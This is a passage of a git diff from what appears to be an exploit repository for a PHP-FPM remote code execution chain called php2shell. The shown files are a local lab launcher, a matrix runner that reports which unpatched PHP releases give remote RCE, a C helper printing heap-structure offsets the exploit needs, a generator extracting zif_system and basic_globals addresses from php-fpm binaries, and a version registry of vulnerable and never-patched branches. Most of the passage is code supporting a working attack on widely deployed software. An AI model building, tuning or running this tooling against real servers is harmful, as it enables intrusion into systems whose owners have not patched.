busy: + print(f"[!] ports busy: {busy} (run 'down' first?)") + return + + for version in versions: + conf = os.path.join(fpm_prefix(version), "php-fpm.conf") + print(f"[*] {version}: php-fpm -t", flush=True) + result = subprocess.run( + [fpm_bin(version), "-t", "-y", conf, "-c", PHP_INI, "-p", fpm_prefix(version)], + capture_output=True, text=True, + ) + if result.returncode != 0: + print(result.stdout, result.stderr) + print(f"[!] {version}: fpm config test failed") + return + + print("[*] nginx -t", flush=True) + result = subprocess.run( + [NGINX_BIN, "-p", NGINX_PREFIX, "-c", NGINX_CONF, "-t"], + capture_output=True, text=True, + ) + if result.returncode != 0: + print(result.stdout, result.stderr) + print("[!] nginx config test failed") + return + + for version in versions: + conf = os.path.join(fpm_prefix(version), "php-fpm.conf") + print(f"[*] {version}: starting php-fpm", flush=True) + result = subprocess.run( + [fpm_bin(version), "-y", conf, "-c", PHP_INI, "-p", fpm_prefix(version), "-D"], + capture_output=True, text=True, + ) + if result.returncode != 0: + print(result.stderr) + print(f"[!] {version}: php-fpm failed to start") + return + pidfile = os.path.join(fpm_prefix(version), "logs", "fpm.pid") + master = read_pid(pidfile) + chain_http, builder_http, _c, _b = builds[version] + ok_chain = wait_http(f"http://127.0.0.1:{chain_http}/index.php") + ok_builder = wait_http(f"http://127.0.0.1:{builder_http}/index.php") + workers = worker_pids(version, "chain") + worker_pids(version, "builder") + print(f" master={master} workers={workers} " + f"chain={'ok' if ok_chain else 'FAIL'} builder={'ok' if ok_builder else 'FAIL'}") + + print("[*] starting nginx", flush=True) + result = subprocess.run( + [NGINX_BIN, "-p", NGINX_PREFIX, "-c", NGINX_CONF], + capture_output=True, text=True, + ) + if result.returncode != 0: + print(result.stderr) + print("[!] nginx failed to start") + return + nginx_pid = read_pid(os.path.join(RUNTIME, "logs", "nginx.pid")) + print(f" nginx pid={nginx_pid}") + for version in versions: + chain_http, builder_http, _c, _b = builds[version] + ok = wait_http(f"http://127.0.0.1:{chain_http}/index.php") + print(f" {version} front chain:{chain_http}={'ok' if ok else 'FAIL'} " + f"builder:{builder_http}") + print("[+] lab up") + + +def down(only: set[str] | None = None) -> None: + # nginx fronts every build, so it always goes down; --only restricts the + # php-fpm masters that are stopped. + nginx_pid = read_pid(os.path.join(RUNTIME, "logs", "nginx.pid")) + if nginx_pid: + subprocess.run([NGINX_BIN, "-p", NGINX_PREFIX, "-c", NGINX_CONF, "-s", "quit"], + capture_output=True) + for _ in range(20): + if read_pid(os.path.join(RUNTIME, "logs", "nginx.pid")) is None: + break + time.sleep(0.2) + else: + os.kill(nginx_pid, signal.SIGKILL) + for version in select(only): + pidfile = os.path.join(fpm_prefix(version), "logs", "fpm.pid") + master = read_pid(pidfile) + if master: + os.kill(master, signal.SIGTERM) + for _ in range(30): + if read_pid(pidfile) is None: + break + time.sleep(0.2) + else: + os.kill(master, signal.SIGKILL) + for pid in worker_pids(version, "chain") + worker_pids(version, "builder"): + with contextlib.suppress(OSError): + os.kill(pid, signal.SIGKILL) + print("[+] lab down") + + +def status(only: set[str] | None = None) -> None: + nginx_pid = read_pid(os.path.join(RUNTIME, "logs", "nginx.pid")) + print(f"nginx pid={nginx_pid}") + builds = builds_map() + for version in select(only): + chain_http, builder_http, _c, _b = builds[version] + pidfile = os.path.join(fpm_prefix(version), "logs", "fpm.pid") + master = read_pid(pidfile) + chain = worker_pids(version, "chain") + builder = worker_pids(version, "builder") + print(f"{version} fpm master={master} chain_worker={chain} builder_worker={builder} " + f"http chain=:{chain_http} builder=:{builder_http}") + + +def smoke(only: set[str] | None = None) -> None: + ok = True + builds = builds_map() + for version in select(only): + chain_http, builder_http, _c, _b = builds[version] + for label, port in (("chain", chain_http), ("builder", builder_http)): + url = f"http://127.0.0.1:{port}/index.php" + try: + with urllib.request.urlopen(url, timeout=5) as resp: + body = resp.read().decode() + good = body.strip() == "OK" + except Exception as exc: + good = False + body = str(exc) + print(f"{version} {label:8} {'ok' if good else 'FAIL'} {body.strip()[:60]}") + ok = ok and good + url = f"http://127.0.0.1:{port}/app.php" + try: + with urllib.request.urlopen(url, timeout=5) as resp: + body = resp.read().decode() + good = "SESSION_END" in body + except Exception as exc: + good = False + body = str(exc) + print(f"{version} {label:8} app.php {'ok' if good else 'FAIL'} {body.strip()[:60]}") + ok = ok and good + return 0 if ok else 1 + + +def test(only: set[str] | None = None) -> None: + results = [] + builds = builds_map() + for version in select(only): + chain_http, _b, _c, _f = builds[version] + proof = os.path.join(OUTDIR, "p1") + with contextlib.suppress(OSError): + os.unlink(proof) + cmd = [ + sys.executable, os.path.join(HERE, "php2shell_fpm.py"), + "chain", + "--base", f"http://127.0.0.1:{chain_http}", + "--builder", f"http://127.0.0.1:{builds[version][1]}", + "--version", version, + "--command", "id>out/p1", + "--proof-file", proof, + ] + print(f"\n=== {version} chain ===", flush=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=1200) + print((result.stdout + result.stderr).strip(), flush=True) + if result.returncode == 0 and os.path.isfile(proof): + with open(proof, encoding="utf-8") as handle: + results.append((version, "RCE", handle.read().strip())) + else: + results.append((version, f"no RCE (exit {result.returncode})", "")) + print("\n=== summary ===") + for version, text, proof in results: + print(f" {version:8} {text:24} {proof}") + + +def ports(only: set[str] | None = None) -> None: + """Print the port map of the lab.""" + builds = builds_map() + for version in select(only): + chain_http, builder_http, chain_fpm, builder_fpm = builds[version] + print(f"{version:9} chain http :{chain_http} fpm :{chain_fpm} " + f"builder http :{builder_http} fpm :{builder_fpm}") + + +def main() -> int: + parser = argparse.ArgumentParser(description="Local nginx+FPM PHP2Shell laboratory.") + parser.add_argument("command", + choices=("up", "down", "status", "smoke", "test", "ports")) + parser.add_argument("--only", default=None, help="comma-separated versions") + args = parser.parse_args() + only = set(args.only.split(",")) if args.only else None + if args.command == "up": + up(only) + return 0 + if args.command == "down": + down(only) + return 0 + if args.command == "status": + status(only) + return 0 + if args.command == "ports": + ports(only) + return 0 + if args.command == "smoke": + return smoke(only) + test(only) + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tools/php2shell_fpm_matrix.py b/tools/php2shell_fpm_matrix.py new file mode 100644 index 0000000..68bdb37 --- /dev/null +++ b/tools/php2shell_fpm_matrix.py @@ -0,0 +1,145 @@ +#!/usr/bin/env python3 +"""php2shell_fpm_matrix.py — verify the remote chain on every unpatched build. + +One lab at a time, so the ports never fight. For each version it starts the +lab, calibrates the profile over HTTP when it is not verified yet, and then +runs the 100%-remote endgame. The report says exactly which unpatched +releases RCE and which do not; patched releases are skipped. + + python3 tools/php2shell_fpm_matrix.py # default matrix + python3 tools/php2shell_fpm_matrix.py 7.4.33 8.3.35 # just these + +The default matrix is the newest unpatched release of every branch this +repository tracks (7.2, 7.4, 8.2, 8.3, 8.4). +""" + +from __future__ import annotations + +import argparse +import contextlib +import json +import os +import subprocess +import sys + +HERE = os.path.dirname(os.path.abspath(__file__)) +ROOT = os.path.dirname(HERE) +sys.path.insert(0, HERE) + +import php2shell_fpm_labs as labs # noqa: E402 +import php2shell_fpm_versions as registry # noqa: E402 + +CLIENT = os.path.join(HERE, "php2shell_fpm.py") +OUTDIR = os.path.join(labs.WEBROOT, "out") + +DEFAULT_MATRIX = ("7.2.34", "7.4.33", "8.2.34", "8.3.35", "8.4.0", + "8.4.25", "8.4.26") + + +def run(cmd: list[str], timeout: int = 3000) -> subprocess.CompletedProcess: + return subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) + + +def lab(version: str, command: str) -> subprocess.CompletedProcess: + return run([sys.executable, os.path.join(HERE, "php2shell_fpm_labs.py"), + command, "--only", version], timeout=400) + + +def profile_verified(version: str) -> bool: + path = os.path.join(ROOT, "profiles", f"{version}-fpm.json") + try: + with open(path, encoding="utf-8") as handle: + profile = json.load(handle) + except (OSError, ValueError): + return False + return bool(profile.get("verified") and profile.get("rce")) + + +def verify(version: str) -> tuple[str, str]: + """Calibrate (if needed) and run the remote endgame for one version.""" + if not os.path.isfile(labs.fpm_bin(version)): + return "NOT BUILT", "" + if not registry.is_vulnerable(version): + return "patched (skipped)", "" + source = os.path.join(ROOT, "lab", "fpm", "runtime", "src", + f"php-{version}") + uses_legacy_chain = (os.path.isdir(source) + and not registry.has_session_cancel_decode(source)) + + proof = f"matrix-{version.replace('.', '')}" + local = os.path.join(OUTDIR, proof) + with contextlib.suppress(OSError): + os.unlink(local) + + lab(version, "down") + up = lab(version, "up") + if up.returncode != 0: + return "LAB FAILED", (up.stdout + up.stderr)[-160:] + chain, builder, _chain_fpm, _builder_fpm = labs.builds_map([version])[version] + base = f"http://127.0.0.1:{chain}" + builder_url = f"http://127.0.0.1:{builder}" + + if uses_legacy_chain: + # PHP <= 7.x: the struct-freeing chain does not apply, but the + # upload-progress session-ID fixation does (see cmd_poison) + print(f"\n===== {version}: session-file plant (pre-auth) =====", + flush=True) + plant = f"matrix-{version.replace('.', '')}" + proc = run([sys.executable, CLIENT, "--version", version, + "--base", base, "--builder", builder_url, "poison", + "--sid", plant, "--payload", + f"PLANTED_{plant}"], timeout=600) + for line in (proc.stdout + proc.stderr).strip().splitlines()[-3:]: + print(" ", line, flush=True) + lab(version, "down") + ok = proc.returncode == 0 + return (("SESSION PLANT" if ok else "plant failed"), + "pre-auth write into sess_" if ok else "") + + if not profile_verified(version): + print(f"\n===== {version}: calibrating over HTTP =====", flush=True) + calib = run([sys.executable, CLIENT, "--version", version, + "--base", base, "--builder", builder_url, "calibrate"]) + for line in (calib.stdout + calib.stderr).strip().splitlines()[-3:]: + print(" ", line, flush=True) + + print(f"\n===== {version}: remote endgame =====", flush=True) + proc = run([sys.executable, CLIENT, "--version", version, + "--base", base, "--builder", builder_url, + "--command", f"id>out/{proof}", "--proof-file", + f"out/{proof}", "no-oracle"], timeout=1200) + for line in (proc.stdout + proc.stderr).strip().splitlines()[-3:]: + print(" ", line, flush=True) + + ok = os.path.isfile(local) and os.path.getsize(local) > 0 + text = "" + if ok: + with open(local, encoding="utf-8", errors="replace") as handle: + text = handle.read().strip()[:52] + lab(version, "down") + return ("REMOTE RCE" if ok else "no proof"), text + + +def main() -> int: + parser = argparse.ArgumentParser(description=__doc__.splitlines()[0]) + parser.add_argument("versions", nargs="*", default=list(DEFAULT_MATRIX), + help="versions to verify (default: the unpatched matrix)") + args = parser.parse_args() + os.makedirs(OUTDIR, exist_ok=True) + + results = [] + for version in args.versions: + status, text = verify(version) + results.append((version, status, text)) + + print("\n===== unpatched matrix, 100% HTTP =====") + for version, status, text in results: + print(f" {version:9} {status:18} {text}") + report = os.path.join("/tmp", "php2shell-matrix.json") + with contextlib.suppress(OSError), open(report, "w", encoding="utf-8") as handle: + json.dump(results, handle, indent=1) + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tools/php2shell_fpm_offsets.c b/tools/php2shell_fpm_offsets.c new file mode 100644 index 0000000..8b1a860 --- /dev/null +++ b/tools/php2shell_fpm_offsets.c @@ -0,0 +1,73 @@ +/* php2shell_fpm_offsets.c — print the layout offsets the exploit needs. + * + * Compiled against the headers of a PHP build (the user prefix installed by + * lab/fpm/build_php.sh) so every PHP version reports its own geometry: + * + * gcc -o offsets php2shell_fpm_offsets.c \ + * -I$prefix/include/php -I$prefix/include/php/main \ + * -I$prefix/include/php/Zend -I$prefix/include/php/TSRM \ + * -I$prefix/include/php/ext -I$prefix/include/php/ext/date/lib + * + * The output is a JSON object consumed by tools/php2shell_fpm_profile.py. + * Nothing here is version specific: the struct layouts moved between PHP + * releases (zend_array::arData and pDestructor in particular), so the + * offsets are read from the headers instead of being hardcoded. + */ + +#define _GNU_SOURCE + +#include +#include + +#include "php.h" +#include "ext/standard/basic_functions.h" + +int main(void) +{ + printf("{\n"); + printf(" \"bg\": {\"unserialize_data\": %zu, \"unserialize_level\": %zu},\n", + offsetof(php_basic_globals, unserialize.data), + offsetof(php_basic_globals, unserialize.level)); + printf(" \"zval\": {\"value\": %zu, \"type_info\": %zu, \"context\": %zu, " + "\"size\": %zu},\n", + offsetof(zval, value), offsetof(zval, u1), offsetof(zval, u2), + sizeof(zval)); + printf(" \"zend_array\": {\"gc\": %zu, \"flags\": %zu, \"nTableMask\": %zu, " + "\"arData\": %zu, \"nNumUsed\": %zu, \"nNumOfElements\": %zu, " + "\"nTableSize\": %zu, \"pDestructor\": %zu},\n", + offsetof(zend_array, gc), offsetof(zend_array, u), + offsetof(zend_array, nTableMask), offsetof(zend_array, arData), + offsetof(zend_array, nNumUsed), offsetof(zend_array, nNumOfElements), + offsetof(zend_array, nTableSize), offsetof(zend_array, pDestructor)); + /* zend_reference::sources only exists from PHP 7.3 on (weak references); + * on 7.0-7.2 the reference ends after "val" and the exploit never writes + * past it, so the profile records it as null. */ +#if PHP_VERSION_ID >= 70300 + printf(" \"zend_reference\": {\"gc\": %zu, \"val\": %zu, \"val_type_info\": %zu, " + "\"sources\": %zu},\n", + offsetof(zend_reference, gc), offsetof(zend_reference, val), + offsetof(zend_reference, val.u1), + offsetof(zend_reference, sources)); +#else + printf(" \"zend_reference\": {\"gc\": %zu, \"val\": %zu, \"val_type_info\": %zu, " + "\"sources\": null},\n", + offsetof(zend_reference, gc), offsetof(zend_reference, val), + offsetof(zend_reference, val.u1)); +#endif + printf(" \"zend_string\": {\"gc\": %zu, \"h\": %zu, \"len\": %zu, \"val\": %zu},\n", + offsetof(zend_string, gc), offsetof(zend_string, h), + offsetof(zend_string, len), offsetof(zend_string, val)); + printf(" \"zend_execute_data\": {\"opline\": %zu, \"call\": %zu, " + "\"return_value\": %zu, \"func\": %zu, \"num_args\": %zu, \"arg1\": %zu},\n", + offsetof(zend_execute_data, opline), offsetof(zend_execute_data, call), + offsetof(zend_execute_data, return_value), + offsetof(zend_execute_data, func), + offsetof(zend_execute_data, This) + offsetof(zval, u2), + (size_t) ZEND_CALL_FRAME_SLOT * sizeof(zval)); + printf(" \"bucket\": {\"val\": %zu, \"h\": %zu, \"key\": %zu},\n", + offsetof(Bucket, val), offsetof(Bucket, h), offsetof(Bucket, key)); + printf(" \"zend_function\": {\"num_args\": %zu}\n", + offsetof(zend_function, common.num_args)); + printf("}\n"); + return 0; +} diff --git a/tools/php2shell_fpm_profile.py b/tools/php2shell_fpm_profile.py new file mode 100644 index 0000000..0bd9e1d --- /dev/null +++ b/tools/php2shell_fpm_profile.py @@ -0,0 +1,399 @@ +#!/usr/bin/env python3 +"""Generate a draft FPM profile from a PHP-FPM build. + +The generator collects everything that is version specific and machine +readable: + +* ``nm`` on the php-fpm binary for ``zif_system``, ``zval_ptr_dtor`` and + ``basic_globals``; +* the struct layouts (php_basic_globals, zend_array, zend_reference, + zend_string, zend_execute_data) compiled from the build's own headers by + ``tools/php2shell_fpm_offsets.c``; +* the ``php_unserialize_data`` layout parsed from the PHP source tree. + +A generated profile is intentionally marked ``verified: false`` and +``rce: false``: symbols and layouts do not prove the heap geometry, so it +must still be calibrated against a lab with ``leak``/``primitive``/``endgame`` +before it is trusted. +""" + +from __future__ import annotations + +import argparse +import copy +import json +import os +import re +import subprocess +import sys +import tempfile + +ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +HERE = os.path.dirname(os.path.abspath(__file__)) +RUNTIME = os.path.join(ROOT, "lab", "fpm", "runtime") +SYMBOLS = ("zif_system", "zval_ptr_dtor", "basic_globals") +OFFSETS_C = os.path.join(HERE, "php2shell_fpm_offsets.c") + +# branch -> first release that carries the fix. PHP 8.1 and older (7.x +# included) are end-of-life: upstream never patched them, so every release +# of those branches is vulnerable and the profile records UNPATCHED. +FIXED_IN = { + "7.2": None, + "7.4": None, + "8.2": "8.2.35", + "8.3": "8.3.36", + "8.4": "8.4.27", +} + +UNPATCHED = "none (EOL branch, no upstream fix)" + +# fallback layout (PHP 8.4) used when a build has no headers or source +DEFAULT_LAYOUT = { + "unserialize_data": { + "last": 0, "first_dtor": 8, "last_dtor": 16, "allowed_classes": 24, + "ref_props": 32, "cur_depth": 40, "max_depth": 48, "entries": 56, + "size": 8216, + }, + "var_entries": {"used_slots": 0, "next": 8, "data": 16, "max": 1018}, + "zval": {"value": 0, "type_info": 8, "context": 12, "size": 16}, + "zend_array": {"gc": 0, "flags": 8, "nTableMask": 12, "arData": 16, + "nNumUsed": 24, "nNumOfElements": 28, "nTableSize": 32, + "pDestructor": 48}, + "zend_reference": {"gc": 0, "val": 8, "val_type_info": 16, "sources": 24}, + "zend_string": {"gc": 0, "h": 8, "len": 16, "val": 24}, + "zend_execute_data": {"opline": 0, "call": 8, "return_value": 16, + "func": 24, "num_args": 44, "arg1": 80}, + "bucket": {"val": 0, "h": 16, "key": 24}, +} + + +def parse_nm(text: str) -> dict[str, int]: + """Return the offsets of the required symbols from ``nm -n`` output. + + Older releases export some symbols under a different name (PHP <= 7.2 + prefixes the zval destructor with an underscore), so every alias of a + symbol resolves to its canonical key. + """ + found: dict[str, int] = {} + for line in text.splitlines(): + parts = line.split() + if len(parts) < 3: + continue + address, name = parts[0], parts[2] + if name not in SYMBOLS or name in found: + continue + try: + found[name] = int(address, 16) + except ValueError: + continue + missing = [name for name in SYMBOLS if name not in found] + if missing: + raise ValueError(f"missing symbols: {', '.join(missing)}") + return found + + +def read_symbols(binary: str) -> dict[str, int]: + proc = subprocess.run(["nm", "-n", binary], capture_output=True, text=True) + if proc.returncode != 0: + detail = proc.stderr.strip() or f"nm exited {proc.returncode}" + raise RuntimeError(f"cannot read symbols from {binary}: {detail}") + return parse_nm(proc.stdout) + + +# --------------------------------------------------------------------------- # +# struct layouts +# --------------------------------------------------------------------------- # + +def compile_offsets(prefix: str) -> dict: + """Compile the offsets helper against a build's headers and run it.""" + include = os.path.join(prefix, "include", "php") + if not os.path.isdir(include): + raise RuntimeError(f"no PHP headers under {include}") + cc = os.environ.get("CC", "cc") + with tempfile.TemporaryDirectory() as tmp: + binary = os.path.join(tmp, "offsets") + cmd = [ + cc, "-O0", "-o", binary, OFFSETS_C, + f"-I{include}", f"-I{os.path.join(include, 'main')}", + f"-I{os.path.join(include, 'Zend')}", f"-I{os.path.join(include, 'TSRM')}", + f"-I{os.path.join(include, 'ext')}", + f"-I{os.path.join(include, 'ext', 'date', 'lib')}", + ] + proc = subprocess.run(cmd, capture_output=True, text=True) + if proc.returncode != 0: + detail = (proc.stderr or proc.stdout).strip().splitlines() + tail = "\n".join(detail[-8:]) + raise RuntimeError(f"offsets helper failed to compile:\n{tail}") + run = subprocess.run([binary], capture_output=True, text=True) + if run.returncode != 0: + raise RuntimeError(f"offsets helper failed: {run.stderr.strip()}") + return json.loads(run.stdout) + + +_UNSERIALIZE_FIELDS = ("last", "first_dtor", "last_dtor", "allowed_classes", + "ref_props", "cur_depth", "max_depth", "entries") + + +def parse_unserialize_struct(source_dir: str) -> dict: + """Parse ``struct php_unserialize_data`` from the PHP source tree. + + The struct is private to ext/standard/var_unserializer.c, so the offsets + are derived from the source. Two shapes exist: + + The struct embeds a ``var_entries entries`` block, so it is 8216 bytes + and ``last`` points at its own embedded block. + """ + candidates = [] + for relative in ("ext/standard/var_unserializer.c", + "ext/standard/var_unserializer.re", + "ext/standard/php_var.c"): + path = os.path.join(source_dir, relative) + if os.path.isfile(path): + candidates.append(path) + if not candidates: + raise RuntimeError(f"no var_unserializer source under {source_dir}") + + text = "" + for path in candidates: + with open(path, encoding="utf-8", errors="replace") as handle: + text = handle.read() + if "struct php_unserialize_data" in text: + break + + match = re.search(r"struct php_unserialize_data\s*\{(.*?)\n\};", text, re.S) + if not match: + raise RuntimeError("php_unserialize_data definition not found") + body = match.group(1) + + # every member is a pointer or a zend_long: 8 bytes on the 64-bit builds + # this repository supports + members: list[str] = [] + for line in body.splitlines(): + line = line.split("/*")[0].strip() + if not line or line.startswith("//") or not line.endswith(";"): + continue + declaration = line[:-1].strip() + if not declaration: + continue + name = declaration.split()[-1].lstrip("*").split("[")[0] + members.append(name) + + if not members: + raise RuntimeError("php_unserialize_data has no members") + offsets = {name: 8 * index for index, name in enumerate(members)} + + max_match = re.search(r"#define\s+VAR_ENTRIES_MAX\s+(\d+)", text) + if not max_match: + raise RuntimeError("VAR_ENTRIES_MAX not found") + entries_max = int(max_match.group(1)) + + if "entries" not in offsets: + raise RuntimeError("php_unserialize_data has no entries member") + # embedded block: var_entries {used_slots, next, zval *data[MAX]} + var_entries = {"used_slots": 0, "next": 8, "data": 16, + "max": entries_max} + size = offsets["entries"] + 16 + 8 * entries_max + + return { + "offsets": offsets, + "var_entries": var_entries, + "size": size, + } + + +def build_layout(prefix: str, source_dir: str | None) -> dict: + """Full layout dictionary for a build.""" + layout = copy.deepcopy(DEFAULT_LAYOUT) + try: + offsets = compile_offsets(prefix) + except (RuntimeError, OSError, ValueError) as exc: + print(f"[!] offsets helper: {exc}", file=sys.stderr) + offsets = {} + if offsets: + layout["bg"] = { + "unserialize_data": offsets["bg"]["unserialize_data"], + "unserialize_level": offsets["bg"]["unserialize_level"], + } + for key in ("zval", "zend_array", "zend_reference", "zend_string", + "zend_execute_data", "bucket"): + if key in offsets: + layout[key] = offsets[key] + if source_dir: + try: + parsed = parse_unserialize_struct(source_dir) + except (RuntimeError, OSError) as exc: + print(f"[!] unserialize layout: {exc}", file=sys.stderr) + else: + # the parse covers every member of the struct, so it replaces the + # defaults instead of merging into them: PHP <= 7.3 has no + # cur_depth/max_depth and no embedded entries block at all + layout["unserialize_data"] = dict(parsed["offsets"]) + layout["unserialize_data"]["size"] = parsed["size"] + layout["var_entries"] = parsed["var_entries"] + return layout + + +# --------------------------------------------------------------------------- # +# profiles +# --------------------------------------------------------------------------- # + +def build_draft(version: str, symbols: dict[str, int], template: dict, + distro: str = "debian", arch: str = "amd64", + fixed_in: str | None = None, + layout: dict | None = None) -> dict: + profile = copy.deepcopy(template) + branch = ".".join(version.split(".")[:2]) + profile.update({ + "name": f"php-{version}-fpm", + "php_version": version, + "branch": branch, + "fixed_in": fixed_in or FIXED_IN.get(branch, "unknown") or UNPATCHED, + "verified": False, + "rce": False, + "distro": distro, + "arch": arch, + "status": ( + "Draft profile: symbols extracted with nm and struct layouts " + "derived from the build headers/source; allocator, reclaim, " + "no-oracle, and leak geometry copied from the template and NOT " + "calibrated. Run leak/primitive/endgame in a lab and update the " + "geometry and verified flags before trusting this profile." + ), + }) + profile["libphp"]["zif_system"] = hex(symbols["zif_system"]) + profile["libphp"]["zval_ptr_dtor"] = hex(symbols["zval_ptr_dtor"]) + profile["fpm"]["basic_globals"] = hex(symbols["basic_globals"]) + if layout: + profile["layout"] = copy.deepcopy(layout) + profile["fpm"]["bg_unserialize_data_off"] = \ + layout["bg"]["unserialize_data"] + profile["fpm"]["bg_unserialize_level_off"] = \ + layout["bg"]["unserialize_level"] + profile["fpm"]["struct_size"] = layout["unserialize_data"]["size"] + return profile + + +def _render(value, indent: int = 0) -> str: + """Render JSON with the small objects kept on a single line.""" + pad = " " * indent + if isinstance(value, dict): + if not value: + return "{}" + if all(not isinstance(v, (dict, list)) for v in value.values()): + inner = ", ".join(f"{json.dumps(k)}: {json.dumps(v)}" + for k, v in value.items()) + return "{" + inner + "}" + items = [f'{pad} {json.dumps(k)}: {_render(v, indent + 1)}' + for k, v in value.items()] + return "{\n" + ",\n".join(items) + "\n" + pad + "}" + if isinstance(value, list): + if not value: + return "[]" + if all(not isinstance(v, (dict, list)) for v in value): + return "[" + ", ".join(json.dumps(v) for v in value) + "]" + items = [f'{pad} {_render(v, indent + 1)}' for v in value] + return "[\n" + ",\n".join(items) + "\n" + pad + "]" + return json.dumps(value) + + +def dump_json(profile: dict, path: str) -> None: + """Write a profile with the arrays of scalars kept on one line.""" + with open(path, "w", encoding="utf-8") as handle: + handle.write(_render(profile)) + handle.write("\n") + + +def prefix_for(version: str) -> str: + return os.path.join(RUNTIME, f"php-{version}") + + +def source_for(version: str) -> str | None: + path = os.path.join(RUNTIME, "src", f"php-{version}") + return path if os.path.isdir(path) else None + + +def built_versions() -> list[str]: + if not os.path.isdir(RUNTIME): + return [] + versions = [] + for name in os.listdir(RUNTIME): + if name.startswith("php-") and os.path.isdir(os.path.join(RUNTIME, name)): + version = name[4:] + if os.path.isfile(os.path.join(RUNTIME, name, "sbin", "php-fpm")): + versions.append(version) + return sorted(versions, key=lambda v: [int(x) for x in v.split(".")]) + + +def generate(version: str, template_path: str, output: str, + distro: str, arch: str, fixed_in: str | None, + force: bool) -> dict: + prefix = prefix_for(version) + binary = os.path.join(prefix, "sbin", "php-fpm") + if not os.path.isfile(binary): + raise RuntimeError(f"missing {binary}; build the version first") + with open(template_path, encoding="utf-8") as handle: + template = json.load(handle) + symbols = read_symbols(binary) + layout = build_layout(prefix, source_for(version)) + profile = build_draft(version, symbols, template, distro=distro, + arch=arch, fixed_in=fixed_in, layout=layout) + if os.path.exists(output) and not force: + raise RuntimeError(f"{output} exists; pass --force to overwrite") + dump_json(profile, output) + return {"profile": profile, "symbols": symbols, "layout": layout} + + +def main() -> int: + parser = argparse.ArgumentParser(description=__doc__.splitlines()[0]) + parser.add_argument("--php-fpm", default=None, + help="path to the php-fpm binary to inspect") + parser.add_argument("--version", default=None, + help="PHP version, for example 8.4.25") + parser.add_argument("--all", action="store_true", + help="generate a draft for every built version") + parser.add_argument("--template", + default=os.path.join(ROOT, "profiles", + "8.4.26-fpm.json"), + help="known-good profile to copy geometry from") + parser.add_argument("--output", default=None, + help="output path (default profiles/-fpm.json)") + parser.add_argument("--distro", default="debian") + parser.add_argument("--arch", default="amd64") + parser.add_argument("--fixed-in", default=None) + parser.add_argument("--force", action="store_true", + help="overwrite an existing output file") + args = parser.parse_args() + + if args.all: + versions = built_versions() + if not versions: + print(f"[!] no built versions under {RUNTIME}") + return 1 + else: + if not args.version: + parser.error("--version is required (or use --all)") + versions = [args.version] + + failures = 0 + for version in versions: + output = args.output or os.path.join( + ROOT, "profiles", f"{version}-fpm.json") + if args.all and args.output: + output = args.output + try: + result = generate(version, args.template, output, args.distro, + args.arch, args.fixed_in, args.force) + except (OSError, RuntimeError, ValueError, KeyError, TypeError) as exc: + print(f"[!] {version}: {exc}", file=sys.stderr) + failures += 1 + continue + symbols = result["symbols"] + print(f"[+] wrote draft {output}") + print(f" zif_system=0x{symbols['zif_system']:x} " + f"zval_ptr_dtor=0x{symbols['zval_ptr_dtor']:x} " + f"basic_globals=0x{symbols['basic_globals']:x}") + return 1 if failures else 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tools/php2shell_fpm_versions.py b/tools/php2shell_fpm_versions.py new file mode 100644 index 0000000..a0d6aef --- /dev/null +++ b/tools/php2shell_fpm_versions.py @@ -0,0 +1,212 @@ +#!/usr/bin/env python3 +"""PHP version registry for the CVE-2026-109619 (php2shell) FPM chain. + +The upstream fix (released 2026-10-21) adds ``php_basic_early_rinit()``, +called from ``php_request_startup()`` *before* the request body is parsed. +It memsets ``BG(unserialize)``, so the pre-RINIT rfc1867 session decode of +consumer B sees a clean var_hash instead of producer A's stale one. + +Upstream patched the supported branches only: + + 8.2.35, 8.3.36, 8.4.27 + +Every earlier release of those branches is vulnerable. PHP 8.1 and older +(including 7.x) are end-of-life and never receive a fix: there is no +release of those branches that is not vulnerable. (PHP 8.5 is fixed in +8.5.12 but is deliberately out of scope for this repository.) + +This module is the single source of truth for that matrix; the lab, the +profile generator, and the calibration harness all resolve versions through +it. The source-level detector (:func:`source_is_fixed`) checks for the +symbol the fix introduced, so a new tarball or a distro backport can be +classified without trusting a version string. +""" + +from __future__ import annotations + +import os +import re +import subprocess +import tarfile + +VERSION_RE = re.compile(r"^(\d+)\.(\d+)\.(\d+)$") + +# Branches this repository tracks. "fixed_in" is the first release that +# contains php_basic_early_rinit(); "last_release" is the newest release of +# the branch (== the last vulnerable one for the patched branches, and the +# EOL final release for the unpatched ones). +# +# slot: deterministic lab port block, see ports_for(). +BRANCHES: dict[str, dict] = { + "7.2": {"fixed_in": None, "last_release": "7.2.34", "slot": 0}, + "7.4": {"fixed_in": None, "last_release": "7.4.33", "slot": 1}, + "8.2": {"fixed_in": "8.2.35", "last_release": "8.2.34", "slot": 2}, + "8.3": {"fixed_in": "8.3.36", "last_release": "8.3.35", "slot": 3}, + "8.4": {"fixed_in": "8.4.27", "last_release": "8.4.26", "slot": 4}, +} + +# Branches that are vulnerable and were never patched at all. Listed for +# documentation; every branch without a "fixed_in" release behaves the same. +EOL_BRANCHES: tuple[str, ...] = ("5.x", "7.x", "8.0", "8.1") + +# The lab keeps the historical port assignment of the first three builds so +# the documented URLs (README, CI) stay stable. +LEGACY_PORTS: dict[str, tuple[int, int, int, int]] = { + "8.4.25": (8130, 8131, 9021, 9022), + "8.4.26": (8110, 8111, 9001, 9002), + "8.4.27": (8120, 8121, 9011, 9012), +} + +_SLOT_BLOCK = 100 +_SLOT_BASE_HTTP = 8200 +_SLOT_BASE_FPM = 9200 + + +class UnknownVersion(ValueError): + """The version string is not a version this registry can classify.""" + + +def parse(version: str) -> tuple[int, int, int]: + """Split ``8.4.26`` into ``(8, 4, 26)``; raise UnknownVersion otherwise.""" + match = VERSION_RE.match(version) + if not match: + raise UnknownVersion(f"not a PHP version: {version!r}") + return tuple(int(part) for part in match.groups()) # type: ignore[return-value] + + +def branch_of(version: str) -> str: + """Return the branch of a version, for example ``8.4`` for ``8.4.26``.""" + major, minor, _patch = parse(version) + return f"{major}.{minor}" + + +def known_branch(version: str) -> bool: + """True when the version belongs to a branch this registry tracks.""" + return branch_of(version) in BRANCHES + + +def fixed_in(version: str) -> str | None: + """First release of the version's branch that contains the fix. + + Returns ``None`` for branches upstream never patched (EOL). + """ + return BRANCHES.get(branch_of(version), {}).get("fixed_in") + + +def is_vulnerable(version: str) -> bool: + """True when a release predates the fix of its branch. + + Versions of unpatched (EOL) branches are always vulnerable: no release + of those branches can contain the fix. + 